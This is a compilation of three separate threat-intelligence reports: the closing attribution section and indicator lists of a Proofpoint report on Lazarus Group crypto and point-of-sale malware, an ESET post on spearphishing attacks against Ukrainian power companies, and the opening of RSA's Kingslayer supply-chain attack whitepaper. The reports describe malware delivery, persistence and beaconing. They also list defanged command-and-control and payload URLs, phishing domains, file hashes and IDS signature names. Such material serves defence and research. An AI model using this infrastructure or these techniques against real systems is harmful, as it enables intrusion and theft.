One of the implants (9cc69d81613285352ce92ec3cb44227af5daa8ad4e483ecc59427fe23b122fce) utilized in that attack was a loader and spreader that writes itself to the Windows temp directory: c:\windows\temp\.
This directory is also used by numerous other Lazarus Group implants including by the RatankbaPOS dropper for the payload drop location as well as for RatankbaPOS logging.
Additionally, there are several instances of code overlap between RatankbaPOS and the FEIB spreader implant.
One such overlap includes the way in which each implant sets up persistence in almost precisely the same way (Fig.
59).
Figure 59: Registry key persistence.
Left: FEIB spreader, Right: RatankbaPOS dropper https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html North Korea Bitten by Bitcoin Bug  32 Decoys Content found in a PowerRatankba JS downloader decoy (transaction.pdf downloaded by transaction.js) was previously utilized in Lazarus campaigns using techniques that have more traditionally, to our knowledge, been used for espionage rather than for financial gain.
The campaign occurred on August 4th, 2017, where Lazarus Group impersonated a National police officer of South Korea along with a malicious Microsoft Office Excel document.
The malicious Excel attachment utilized a macro-based VBScript XOR dropper technique that has been very well documented in public already.
The document used in this attack was named  .xls (b46530fa2bd5f9958f664e754ae392dc400bd3fcb1c5adc7130b7374e0409924), which roughly translates to Bitcoin transaction history.
Using the macro-based VBScript XOR dropper technique a CoreDn downloader implant is dropped to disk with a CC of www.unsunozo[.
]org.
The interesting overlap with the PowerRatankba campaigns can be found in the lure used by the Excel spreadsheet (Fig.
60).
The highlighted transactions, after the Final bitcoin Address section match with the beginning of the transactions used in the PowerRatankba decoy transaction.pdf.
Figure 60: Excel CoreDn tmp001.xls decoy on the left, PowerRatankba transaction.pdf decoy on the right On a final note for this aspect of the actor attribution, campaigns utilizing the VBScript XOR macro technique have historically been used for attacks more closely associated with espionage than for direct financial gain, as was the case when several campaigns targeted the personal accounts of employees at US defense contractors.
This behavior may offer a clue as to the desperation North Korea has for procuring currency through illicit means, possibly due to the economic sanctions imposed on the regime.
This may indicate that there has been a significant shift in directives for the Lazarus team(s) that historically conducted espionage campaigns.
Furthermore, several of the campaigns utilizing the old VBScript XOR macro technique have direct or within-one-week overlap with PowerRatankba campaigns alluding to the possibility that there is in fact more than one team working under the North Korean umbrella as other companies have suggested (e.g., Kasperskys excellent write-up on Bluenoroff).
CC A report was found in a Facebook post from mickeyfintech that listed a domain utilized in several PowerRatankba campaigns as being associated with infrastructure utilized in the breach of the FEIB (Fig.
61).
The domain, trade.publicvm[.
]com, was allegedly connected to the FEIB hack.
That domain was also used by several PowerRatankba downloaders and payloads for hosting as well as CC.
This is a low confidence indicator as we have been unable to corroborate if that domain was in fact utilized by Lazarus in the hacking of the FEIB.
Figure 61: Facebook post listing PowerRatankba domain as being associated with FEIB breach https://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/ https://researchcenter.paloaltonetworks.com/2017/08/unit42-blockbuster-saga-continues/ https://en.wikipedia.org/wiki/Room_39 https://securelist.com/files/2017/04/Lazarus_Under_The_Hood_PDF_final.pdf North Korea Bitten by Bitcoin Bug  33 Conclusion This report has introduced several new additions to Lazarus Groups ever-growing arsenal, including a variety of different attack vectors, a new PowerShell implant and Gh0st RAT variant, as well as an emerging point-of-sale threat targeting South Korean devices.
In addition to insight into Lazarus emerging toolset, there are two key takeaways from this research: Analyzing a financially motivated arm of a state actor highlights an often overlooked or underestimated aspect of state- sponsored attacks in this case, we were able to differentiate the actions of the financially motivated team within Lazarus from those of their espionage and disruption teams that have recently grabbed headlines.
This group now appears to be targeting individuals rather than just organizations: individuals are softer targets, often lacking resources and knowledge to defend themselves and providing new avenues of monetization for a state- sponsored threat actors toolkit.
Moreover, both the explosive growth in cryptocurrency values and the emergence of new point-of-sale malware near the peak holiday shopping season provide an interesting example of how one state-sponsored actor is following the money, adding direct theft from individuals and organizations to the more traditional approach of targeting financial institutions for espionage that we often observe with other APT actors.
Research Contributions Proofpoint Kafeine (kafeine) Matthew Mesa (mesa_matt) Kimberly (StopMalvertisin) James Emory (sudosev) External Malc0de (malc0de) Adam (infosecatom) Jacob Soo (_jsoo_) Special Thanks We would like to thank Yonathan Klijnsma (ydklijnsma) and RisqIQ (RiskIQ) for supporting this research by sharing data and assisting with some of the infrastructure analysis.
North Korea Bitten by Bitcoin Bug  34 Indicators of Compromise (IOCs) PowerSpritz ITW URLs hxxp://skype.2[.
]vu/1 hxxp://skype.2[.
]vu/k hxxp://skypeupdate.2[.
]vu/1 hxxp://telegramupdate.2[.
]vu/5 hxxps://doc-00-64-docs.googleusercontent[.
]com/docs/securesc/ ha0ro937gcuc7l7deffksulhg5h7mbp1/39cbphg8k5qve4q5rr6nonee 1bueiu8o/1499428800000/13030420262846080952//0B63J1WTZC49h X1JnZUo4Y1pnRG8?edownload hxxps://drive.google[.
]com/uc?exportdownloadid0B63J1WTZC49hdDR0clR3cFpITVE hxxp://201.211.183[.
]215:8080/update.php?tSkyperupdate hxxp://122.248.34[.
]23/lndex.php?tSkypeSetuprmail_new hxxp://122.248.34[.
]23/lndex.php?tTelegramr1.1.9 PowerSpritz Hashes cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411 9ca3e56dcb2d1b92e88a0d09d8cab2207ee6d1f55bada744ef81e8b8cf155453 5a162898a38601e41d538f067eaf81d6a038268bc52a86cf13c2e43ca2487c07 PowerSpritz CC hxxp://dogecoin.deaftone[.
]com:8080/mainls.cs hxxp://macintosh[.]linkpc[.
]net:8080/mainls.cs Microsoft Compiled HTML Help (CHM) Hashes 81617bd4fa5d6c1a703c40157fbe16c55c11260723b7f63de022fd5dd241bdbf d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48 4eb2dd5e90bda6da5efbd213c8472775bdd16e67bcf559f58802a8c371848212 01b047e0f3b49f8ab6ebf6795bc72ba7f63d7acbc68f65f1f8f66e34de827e49 I3e91f399d207178a5aa6de3d680b58fc3f239004e541a8bff2cc3e851b76e8bb 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5 85a263fc34883fc514be48da2d814f1b43525e63049c6b180c73c8ec00920f51 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01 6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d 030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863 Microsoft Compiled HTML Help (CHM) CC hxxp://92.222.106[.
]229/theme.gif hxxp://www.businesshop[.
]net/hide.gif MS Shortcut Link (LNK) Hashes beecb33ef8adec99bbba3b64245c7230986c3c1a7f3246b0d26c641887387bfe 8f0b83d4ff6d8720e134b467b34728c2823c4d75313ef6dce717b06f414bdf5c MS Shortcut Link (LNK) CC hxxp://tinyurl[.
]com/y9jbk8cg hxxp://201.211.183[.
]215:8080/pdfviewer.php?o0treportm0 JavaScript Hashes e7581e1f112edc7e9fbb0383dd5780c4f2dd9923c4acc09b407f718ab6f7753d 7975c09dd436fededd38acee9769ad367bfe07c769770bd152f33a10ed36529e 100c6400331fa1919958bed122b88f1599a61b3bb113d98b218a535443ebc3a7 8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3 97c6c69405ed721a64c158f18ab4386e3ade19841b0dea3dcce6b521faf3a660 41ee2947356b26e4d8aca826ae392be932cd8800476840713e9b6c630972604f 25f13dca780bafb0001d521ea6e76a3bd4dd74ce137596b948d41794ece59a66 JavaScript CC hxxp://51.255.219[.
]82/files/download/falconcoin.zip hxxp://51.255.219[.
]82/theme.gif hxxp://51.255.219[.
].82/files/download/falconcoin.pdf hxxp://apps.got-game[.
]org/images/character.gif North Korea Bitten by Bitcoin Bug  35 hxxp://apps.got-game[.
]org/files/download/transaction.pdf hxxp://www.energydonate[.
]com/files/download/bithumb.zip hxxp://www.energydonate[.
]com/images/character.gif hxxp://www.energydonate[.
]com/files/download/bithumb.pdf MS Office Docs Hashes b3235a703026b2077ccfa20b3dabd82d65c6b5645f7f15e7bbad1ce8173c7960 b9cf1cba0f626668793b9624e55c76e2dab56893b21239523f2a2a0281844c6d 972b598d709b66b35900dc21c5225e5f0d474f241fefa890b381089afd7d44ee MS Office Docs CC 198.100.157[.
]239 hxxp://www.energydonate[.
]com/files/download/Bithumb.zip hxxp://www.energydonate[.
]com/images/character.gif PyInstaller Hashes b530de08530d1ba19a94bc075e74e2236c106466dedc92be3abdee9908e8cf7e eab612e333baaec0709f3f213f73388607e495d8af9a2851f352481e996283f1 eb372423e4dcd4665cc03ffc384ff625ae4afd13f6d0589e4568354be271f86e PyInstaller Hosting or Email IDNA xn--bitcin-zxa[.
]org xn--electrm-s2a[.
]org xn--bitcingold-hcb[.
]org xn--bitcoigold-o1b[.
]com xn--bitcoingld-lcb[.
]com xn--bitcoingld-lcb[.
]org xn--bitcoingod-8yb[.
]com xn--btcongold-54ad[.
]com xn--btcongold-g5ad[.
]com Likely Related IDNA xn--6fgp[.
]com xn--bitcingold-5bb.
[]com xn--bitcingold-jbb[.
]com xn--bitcingold-t3b[.
]com xn--bitcoingol-4kb[.
]com xn--bitoingold-1ib[.
]com xn--btcoingold-v8a[.
]com xn--bitcoingldwallet-twb[.
]org PyInstaller CC hxxp://www.btc-gold[.
]us/images/top_bar.gif hxxp://trade.publicvm[.
]com/images/top_bar.gif PowerRatankba Hashes 41f155f039448edb42c3a566e7b8e150829b97d83109c0c394d199cdcfd20f9b 20f7e342a5f3224cab8f0439e2ba02bb051cd3e1afcd603142a60ac8af9699ba db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471 3cd0689b2bae5109caedeb2cf9dd4b3a975ab277fadbbb26065e489565470a5c b265a5d984c4654ac0b25ddcf8048d0aabc28e36d3e2439d1c08468842857f46 1768f2e9cea5f8c97007c6f822531c1c9043c151187c54ebfb289980ff63d666 99ad06cca4910c62e8d6b68801c6122137cf8458083bb58cbc767eebc220180d f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a NOTE: Several of these domains reflect themes and brands (only BTG) that are confirmed to have been used in phishing attacks.
Additionally, they were registered in the same timeframe, at the same registrar, with matching server characteristics that were observed in the confirmed IDNA infrastructure domains.
These domains in no way indicate that they have been used for attacks, nor that the themes utilized indicate that the entity in question has been targeted or compromised.
We simply assess that this infrastructure is related to Lazarus Group and currently do not know how or if it was utilized for campaigns.
North Korea Bitten by Bitcoin Bug  36 PowerRatankba CC 51.255.219[.
]82 144.217.51[.
]246 158.69.57[.
]135 198.100.157[.
]239 201.139.226[.
]67 92.222.106[.
]229 apps.got-game[.
]org trade.publicvm[.
]com www.businesshop[.
]net vietcasino.linkpc[.
]net Related Unknown Purpose CC coinbases[.
]org africawebcast[.
]com bitforex.linkpc[.
]net macintosh.linkpc[.
]net coinbroker.linkpc[.
]net moneymaker.publicvm[.
]com RFC18 Gh0st RAT 3a856d8c835232fe81711680dc098ed2b21a4feda7761ed39405d453b4e949f6 RFC18 Gh0st RAT Download Locations hxxp://180.235.133[.
]235/img.gif hxxp://180.235.133[.
]121/images/img.gif RFC18 Gh0st RAT CC 180.235.133[.
]235:443 180.235.133[.
]121:443 51.255.219[.
]82:443 158.69.57[.
]135:443 RatankbaPOS ITW hxxp://www.webkingston[.
]com/top.gif RatankbaPOS Hashes b66624ab8591c2b10730b7138cbf44703abec62bfc7774d626191468869bf21c 79a4b6329e35e23c3974960b2cecc68ee30ce803619158ef3fefcec5d4671c98 d334c40b42d2e6286f0553ae9e6e73e7e7aaec04a85df070b790738d66fd14fb 2b05a692518a6102c540e209cb4eb1391b28944fdb270aef7ea47e1ddeff5ae2 RatankbaPOS Loader CC hxxp://www.webkingston[.
]com/update.jsp?actionneed_update RatankbaPOS Exfiltration CC hxxp://www.energydonate[.
]com/list.jsp?actionup hxxp://online-help[.]serveftp[.
]com/list.jsp?actionup North Korea Bitten by Bitcoin Bug  37 ET and ETPRO Suricata/Snort Signatures 2824864,ETPRO TROJAN Ratankba Recon Backdoor/Module CnC Beacon 1 2828904,ETPRO TROJAN RatankbaPOS Dropper CnC Checkin M1 2828905,ETPRO TROJAN RatankbaPOS Dropper CnC Checkin M2 2828906,ETPRO TROJAN RatankbaPOS CnC Checkin 2828921,ETPRO TROJAN PowerRatankba DNS Lookup 1 2828922,ETPRO TROJAN PowerRatankba DNS Lookup 2 2828923,ETPRO TROJAN PowerRatankba DNS Lookup 3 2828924,ETPRO TROJAN PowerRatankba DNS Lookup 4 2828925,ETPRO TROJAN PowerRatankba DNS Lookup 5 2828926,ETPRO TROJAN PowerRatankba DNS Lookup 6 2828927,ETPRO TROJAN PowerRatankba DNS Lookup 7 2828928,ETPRO TROJAN PowerRatankba DNS Lookup 8 2828929,ETPRO TROJAN PowerRatankba DNS Lookup 9 2828930,ETPRO TROJAN PowerRatankba DNS Lookup 10 2828931,ETPRO TROJAN PowerRatankba DNS Lookup 11 2828932,ETPRO TROJAN PowerRatankba DNS Lookup 12 2828933,ETPRO TROJAN PowerRatankba DNS Lookup 13 2828934,ETPRO TROJAN PowerRatankba DNS Lookup 14 2828935,ETPRO TROJAN PowerRatankba DNS Lookup 15 2828936,ETPRO TROJAN PowerRatankba DNS Lookup 16 2828937,ETPRO TROJAN PowerRatankba DNS Lookup 17 2828938,ETPRO TROJAN PowerRatankba DNS Lookup 18 2828939,ETPRO TROJAN PowerRatankba DNS Lookup 19 2828940,ETPRO TROJAN PowerRatankba DNS Lookup 20 2828941,ETPRO TROJAN PowerRatankba DNS Lookup 21 2828942,ETPRO TROJAN PowerRatankba DNS Lookup 22 2828943,ETPRO TROJAN PowerRatankba DNS Lookup 23 2828944,ETPRO TROJAN PowerRatankba DNS Lookup 24 2828945,ETPRO TROJAN PowerRatankba DNS Lookup 25 2828946,ETPRO TROJAN PowerRatankba DNS Lookup 26 2828947,ETPRO TROJAN PowerRatankba DNS Lookup 27 2828948,ETPRO TROJAN PowerRatankba DNS Lookup 28 2828949,ETPRO TROJAN PowerRatankba DNS Lookup 29 2828950,ETPRO TROJAN PowerRatankba DNS Lookup 30 2828951,ETPRO TROJAN PowerRatankba DNS Lookup 31 2828952,ETPRO TROJAN PowerRatankba DNS Lookup 32 2828953,ETPRO TROJAN PowerRatankba DNS Lookup 33 2828971,ETPRO TROJAN RatankbaPOS POS Exfiltration ABOUT PROOFPOINT Proofpoint, Inc. (NASDAQ:PFPT), a next-generation cybersecurity company, enables organizations to protect the way their people work today from advanced threats and compliance risks.
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January 20, 2016 New wave of cyberattacks against Ukrainian power industry www.welivesecurity.com/2016/01/20/new-wave-attacks-ukrainian-power-industry/ By Robert Lipovsky posted 20 Jan 2016 - 06:59PM Cybercrime The cyberattacks against the Ukrainian electric power industry continue.
Background information on this story can be found in our recent publications: Yesterday (January 19th) we discovered a new wave of these attacks, where a number of electricity distribution companies in Ukraine were targeted again following the power outages in December.
Whats particularly interesting is that the malware that was used this time is not BlackEnergy, which poses further questions about the perpetrators behind the ongoing operation.
The malware is based on a freely-available open-source backdoor  something no one would expect from an alleged state-sponsored malware operator.
Details of the cyberattacks 1/5 https://www.welivesecurity.com/2016/01/20/new-wave-attacks-ukrainian-power-industry/ https://www.welivesecurity.com/author/lipovsky/ https://www.welivesecurity.com/category/cybercrime/ https://www.welivesecurity.com/wp-content/uploads/2016/01/mail_embedded.png https://www.welivesecurity.com/wp-content/uploads/2016/01/XLS_File.png https://www.welivesecurity.com/wp-content/uploads/2016/01/CODE.png https://www.welivesecurity.com/wp-content/uploads/2016/01/python_code.png The attack scenario itself hasnt changed much from what we described in our previous blog post.
The attackers sent spearphishing emails to potential victims yesterday.
The email contained an attachment with a malicious XLS file.
Spearphishing email from January 19, 2016 The email contains HTML content with a link to a .PNG file located on a remote server so that the attackers will get a notification that the email was delivered and opened by the target.
We have observed the same interesting technique used by the BlackEnergy group in the past.
HTML content of email with PNG file on remote server Just as interestingly, the name of PNG file is the base64-encoded string mail_victims_email.
2/5 The XLS file used in attacks The malicious macro-enabled XLS file is similar to the ones weve seen in previous attack waves.
It tries, by social engineering, to trick the recipient into ignoring the built-in Microsoft Office Security Warning, thereby inadvertently executing the macro.
The text in the document, translated from Ukrainian reads: Attention This document was created in a newer version of Microsoft Office.
Macros are needed to display the contents of the document.
Executing the macro leads to the launch of a malicious trojan-downloader that attempts to download and execute the final payload from a remote server.
Disassembled code from dropped executable The server hosting the final payload is located in Ukraine and was taken offline after a notification from CERT-UA and CyS-CERT.
3/5 http://cert.gov.ua/ https://www.first.org/members/teams/cys-cert We expected to see the BlackEnergy malware as the final payload, but a different malware was used this time.
The attackers used modified versions of an open-source gcat backdoor written in the Python programming language.
The python script was converted into a stand- alone executable using PyInstaller program.
Obfuscated code of GCat backdoor This backdoor is able to download executables and execute shell-commands.
Other GCat backdoor functionality, such as making screenshots, keylogging, or uploading files, was removed from the source code.
The backdoor is controlled by attackers using a GMail account, which makes it difficult to detect such traffic in the network.
ESET security solutions detect the threat as: VBA/TrojanDropper.
Agent.
EY Win32/TrojanDownloader.
Agent.
CBC Python/Agent.
N Thoughts and conclusions Ever since the first blogposts following our discovery of these cyberattacks, they have gained widespread media attention.
The reasons for that are twofold: It is probably the first case where a mass-scale electrical power outage has been caused by a malware cyberattack.
Mainstream media have popularly attributed the attacks to Russia, based on claims of several security companies that the organization using BlackEnergy, a.k.a.
Sandworm, a.k.a.
Quedagh, is Russian state-sponsored.
The first point has been a subject of debate as to whether the malware actually caused the power outage or whether it only enabled it.
While there is a difference in the technical aspects between the two, and while were naturally interested in the smallest details when conducting malware analysis, on a higher level, it doesnt really matter.
As a matter of fact, it is the very essence of malicious backdoors  to grant attackers remote access to an infected system.
The second point is even more controversial.
As we have stated before, great care should be taken before accusing a specific actor, especially a nation state.
We currently have no evidence that would indicate who is behind these cyberattacks and to attempt attribution by 4/5 https://github.com/byt3bl33d3r/gcat http://www.pyinstaller.org/ https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/ https://www.welivesecurity.com/2016/01/04/blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/ https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid simple deduction based on the current political situation might bring us to the correct answer, or it might not.
In any case, it is speculation at best.
The current discovery suggests that the possibility of false flag operations should also be considered.
To sum it up, the current discovery does not bring us any closer to uncovering the origins of the attacks in Ukraine.
On the contrary, it reminds us to avoid jumping to rash conclusions.
We continue to monitor the situation for future developments.
For any inquiries or to make sample submissions related to the subject, contact us at: threatinteleset.com Indicators of compromise IP-addresses: 193.239.152.131 62.210.83.213 Malicious XLS SHA-1s: 1DD4241835BD741F8D40BE63CA14E38BBDB0A816 Executables SHA-1s: 920EB07BC8321EC6DE67D02236CF1C56A90FEA7D BC63A99F494DE6731B7F08DD729B355341F6BF3D Author Robert Lipovsky, ESET 5/5 mailto:threatinteleset.com https://plus.google.com/u/0/113721996266516866756/posts New wave of cyberattacks against Ukrainian power industry Details of the cyberattacks Thoughts and conclusions Indicators of compromise
WHITEPAPER KINGSLAYER A SUPPLY CHAIN ATTACK RSA RESEARCH CONTENTS Content and liability disclaimer 03 Executive summary 04 Summary 04 Targeted takedown of Codoso malware 05 Unexpected finding 06 A backdoor in product used by sysadmins 06 Targeted takedown and sinkholing of www.oraclesoft[.
]net 08 An irresistible enticement for Kingslayer actors  08 Eleven and a half weeks 09 Kingslayer connections to Codoso and Shell_Crew 10 Recalling another software supply-chain attack 11 Kingslayers memory-resident brother, the K2 Trojan 12 Why software supply-chain attacks are here to stay 12 Software vendors, and sysadmins on notice 13 How was the Kingslayer investigation informed?
14 Detection of Kingslayer, and the next software supply chain attack 14 How to investigate if you might have been compromised by Kingslayer  18 Conclusion 18 Acknowledgements 19 Annex 1: Kingslayer Indicators of Compromise (IOCs) 20 Appendix A: Event log analyzer application service executable analysis 21 Appendix B: Select forensic findings from an enterprise admins machine infected with Kingslayer and the K2 secondary malware  29 3 CONTENT AND LIABILITY DISCLAIMER This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors.
RSA Security LLC, EMC Corporation, Dell, Inc. and their affiliates (collectively, RSA) have exercised reasonable care in the collecting, processing, and reporting of this information but have not independently verified, validated, or audited the data to verify the accuracy or completeness of the information.
RSA shall not be responsible for any errors or omissions contained on this Research Paper, and reserves the right to make changes anytime without notice.
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Published in the USA February 2017.
4 EXECUTIVE SUMMARY RSA Research investigated the source of suspicious, observed beaconing thought to be associated with targeted malware.
In the course of this tac- tical hunt for unidentified code, RSA discovered a sophisticated attack on a software supply-chain involving a Trojan inserted in otherwise legitimate software software that is typically used by enterprise system administrators.
We are sharing details of this attack investigation, along with mitigation and detection strategies, to promote awareness and preparation for future or ongoing software supply-chain attacks.
SUMMARY In notable aviation incidents, aviation experts are charged to perform an investigation and share the findings in incident reports.
Pilot trainers, airlines and aircraft manufacturers dig into the investigation reports with the goal of preventing such an incident from happening again.
These reports and their ostensive goal, preventing an incident involving loss of life, have been the foundation of what is arguably the safest form of transportation.
Policies, pro- cedures and aircraft themselves are now safer than ever.
Likewise, network defenders may dig into breach reports with the aim of preventing the next loss of valuable business information from the networks for which they are re- sponsible.
Helping to prevent the next loss of business or mission critical infor- mation from a sophisticated exploitation campaign is, at least, one of the major goals of this report.
You might notice we did not say prevention of compro- mise.
After reading this report, it will be obvious that preventing the advanced enterprise compromise represented by Kingslayer, would be difficult for any network defender.
Preventing such types of compromises from sophisticat- ed actors has always been challenging.
The analysts behind this Kingslayer research project subscribe to the philosophy that detecting and responding to a compromise, before it leads to business risk, is an achievable goal.
In this Kingslayer post-mortem report, RSA Research describes a sophisticat- ed software application supply chain attack that may have otherwise gone unnoticed by its targets.
This attack is different in that it appears to have specifically targeted Windows operating system administrators of large and, perhaps, sensitive organizations.
These organizations appeared on a list of customers still displayed on the formerly subverted software vendors web- site.
Nearly two years after the Kingslayer campaign was initiated, we still do not know how many of the customers listed on the website may have been breached, or possibly are still compromised, by the Kingslayer perpetrators.
5 TARGETED TAKEDOWN OF CODOSO MALWARE Early in our investigation of, and takedown operation against, a broad exploita- tion campaign we call Schoolbell1 , RSA Research observed unidentified bea- coning to the URL www.oraclesoft[.
]net2.
We did not know what was causing the beaconing, but we suspected it was malware.
This URL resolved to an IP address that, at the time, also resolved to another known malicious domain.
This additional, malicious domain, google-dash[.
]com3 , was used for command and control (C2) by a variant of PGV_PVID malware that had no antivirus (AV) coverage at the time it was submitted to VirusTotal in April 2016 (Figure 1).
For more information on the malware behind this broad exploitation campaign, we recommend reading the Schoolbell report.
1 http://blogs.rsa.com/schoolbell-class-is-in-session 2 Its important to note threat actors often use domains which look like well-known domains but they have no link to the legitimate domain or company 3 Its important to note threat actors often use domains which look like well-known domains but they have no link to the legitimate domain or company A NOTE ABOUT ATTRIBUTION The malware and activities described in the Kingslayer post-mortem report shares code, tactics and unique malware artifacts with a large amount of other malware employed by actors in campaigns attributed to various named threat groups.
RSA Research has, for years, dubbed this group of common tools and tactics Shell_Crew, since the first RSA Shell_Crew report released in 2014.
However, shared malware development supply and infrastructure does not necessarily indicate that the espionage-focused actors behind the keyboards in this campaign, are all the same people as campaigns analyzed by other researchers.
Refer to the section Kingslayer connections to Codoso and Shell_Crew for more details.
Its important to note threat actors often use domains which look like popular, well known domains, even going so far to temporarily park them on IP addresses associated with the legitimate entities   but they have no link to the legitimate domain or company, as is the case throughout this research.
Figure 1.
Zero out of fifty five antivirus solutions detected this malware at time of first submission http://blogs.rsa.com/schoolbell-class-is-in-session 6 UNEXPECTED FINDING We did not know what malware type might be using the domain www.oracle- soft[.
]net, but through passive analysis, we identified and contacted an infected organization.
Following some significant monitoring efforts by the cooperat- ing infected subject, endpoint forensic analysis, and reverse engineering, RSA Research came to an unexpected conclusion.
A software application used by system administrators to analyze Windows logs had been subverted at its dis- tribution point with malicious, signed code, back in April 2015.
The remaining sections of this paper will discuss how that conclusion was made.
A BACKDOOR IN PRODUCT USED BY SYSADMINS Further research allowed RSA analysts to determine the origin of the offending software.
For the purposes of this publication, we will refer to the unnamed software vendor as Alpha.
Alpha owns and operates a website designed to help Windows system administrators interpret and troubleshoot problems indicated in Windows event logs.
The website also offers paid subscribers a license to a tool that helps with analyzing Windows event logs.
It is this software, and its updates, that were subverted.
RSA Research obtained a copy of the software suspected of containing the com- promise.
Figure 2 gives an overview of the general infection chain and C2.
Figure 2 Kingslayer compromise infection chain 7 For purposes of MSI downloads and for auto-updating the application, Alpha maintains multiple websites.
During the time these particular websites were subverted, any user who attempted a new install or allowed their current version to auto-update (the default action) received the malicious version of the software.
This action occurred via an .htaccess redirect on two of Alphas websites (both MSI download and automated update sites) that pointed to a website controlled by the malicious actors.
This actor-controlled website host- ed the subverted, signed versions of the application service executable, and MSI containing the Trojan.
Once the install or update was complete, the software would attempt to load secondary payloads.
RSA Research observed the legitimate application used a valid Authenticode signature issued by Alpha.
At least three binaries, as well as an MSI software installation package, were determined to have been modified for malicious purposes using the Alpha applications original source code, and signed with the stolen code signing private key.
RSA Research contacted Alpha, who subse- quently divulged that their software packaging system was compromised and had delivered this compromised binary from 09 April 2015 to 25 April 2015.
Complicating our initial attempt at dynamic analysis of the suspected backdoor in the RSA Research lab was the employment of an unusual diurnal beacon sleep algorithm.
The The backdoor was configured to only beacon to www.oraclesoft[.
]net between the hours of 1500 to 0000 (3 pm to midnight) UTC a daily window of 9 hours.
It was also configured to only beacon four days a week on Saturday, Tuesday, Thursday and Friday.
The exact intent behind this temporal beaconing algorithm is unclear.
More details on Kingslayers backdoor sleep algorithm are found in the Kingslayer executable analysis in Appendix A.
8 TARGETED TAKEDOWN AND SINKHOLING OF WWW.ORACLESOFT[.
]NET Armed with the evidence that www.oraclesoft[.
]net was being used strictly for malicious purposes, RSA Research sinkholed4 it to further inform our Kingslayer investigation.
Within a few days of the sinkholing, RSA Research identified many of the infected organizations beaconing to our sinkhole and provided compromise notifications.
One of the infected organizations, dubbed Iota for the purposes of this publication, subsequently engaged the RSA Incident Response (IR) team for remediation assistance.
AN IRRESISTIBLE ENTICEMENT FOR KINGSLAYER ACTORS Although we do not know the exact reasons the Kingslayer actors chose to subvert Alphas software product, the list of possible end-users of the applica- tion likely served as a powerful motivator.
As stated earlier, a free application license was offered to subscribers of Alphas event log information portal ser- vice.
While we do not know how many of these subscribers took advantage of the free license and installed the application during the subversion window, it is logical that some did.
Organizations who, at some time, subscribed to the event log portal are displayed on Alphas website and include: 4 major telecommunications providers 10 western military organizations 24 Fortune 500 companies 5 major defense contractors 36 major IT product manufacturers or solutions providers 24 western government organizations 24 banks and financial institutions 45 higher educational institutions 4 https://en.wikipedia.org/wiki/DNS_sinkhole https://en.wikipedia.org/wiki/DNS_sinkhole 9 ELEVEN AND A HALF WEEKS Because we have an incomplete picture of the successful Kingslayer target set, our timeline has some significant gaps.
One important gap begging for expla- nation was the time between when Alphas websites and software distribution were remediated on 26 April 2015, and the time when forensic evidence shows that Kingslayer visited the Iota network on 15 July 2015 (Figure 3).
One might surmise that if Iota was of particular interest to the Kingslayer actors, then less than eleven and a half weeks would pass before exploitation of their target network.
One possible explanation is that Iota was not a preferred target at all.
Rather, the eleven and a half weeks was spent by the actors exploit- ing potentially more lucrative targets than Iota.
In effect, RSA Research pro- poses that Iota was an inconsequential target, passed over for some sufficient time for more important exploitation to be executed.
This is why a supply chain attack is attractive to threat actors a single compromise within the supply chain can yield numerous targets with minimal additional effort.
Alpha issued a Security Notification on their website on 30 June 2016 and up- dated the notification on July 17, 2016 at RSAs request, following findings from further investigation on Iotas network compromised by Kingslayer.
Figure 3 Kingslayer substantive event timeline 10 KINGSLAYER CONNECTIONS TO CODOSO AND SHELL_CREW The Kingslayer backdoor, discovered during an RSA Research excavation into common C2 infrastructure and malware bytecode, shares tactics previously ob- served used by Shell_Crew, an adversary RSA Research reported on in January 2014 5 .
The specific infrastructure overlapping with the Kingslayer campaign was tied to an adversary identified as Codoso by Palo Alto 6  and ProofPoint 7  in the first quarter of 2016, and the apparent operational infrastructure harvest- ing campaign that we call Schoolbell.
We do not have high confidence that the Codoso perpetrators are directly related to the Shell_Crew activity encoun- tered in 2013 and 2014, but we observed that they use common resources and tools.
For one, Codoso and Shell_Crew use continuously evolving versions of malware for which no builder or source code has been found in the wild.
These include older Derusbi variants, as well as the newly pressed Rekaf, TXER, PGV_ PVID and Bergard as described by ProofPoint, PaloAlto, and in the Schoolbell blog post.
This indicates that they have some common, restricted source for this distinctive malware.
Consistent common malware bytecode, strings, and en- coding routines were also noted by other researchers such as Proofpoint.
These attributes are, thus far, unique to the activity groups and have allowed RSA Research and others to track malware clusters as they appear in the wild.
For consistency we will attribute the activity in the Kingslayer campaign to King- slayer, but acknowledge some risk of erroneously conflating it with other threat groups labeled variously by other researchers as Codoso, as well as historic activity that RSA Research has grouped together as Shell_Crew.
The clearest operational links between Kingslayer and other recent campaigns attributed to Codoso are overlapping domains and IP addresses used for C2 in 2015 and 2016.
The Kingslayer C2 URL www.oraclesoft[.
]net has temporal overlaps with identified infrastructure from seven other C2 domains and twelve unique C2 IP addresses associated with at least twenty four unique samples of malware attributed to Codoso by ProofPoint and Palo Alto (Figure 4, attached also in Annex), and described in the Schoolbell blogpost by RSA Research.
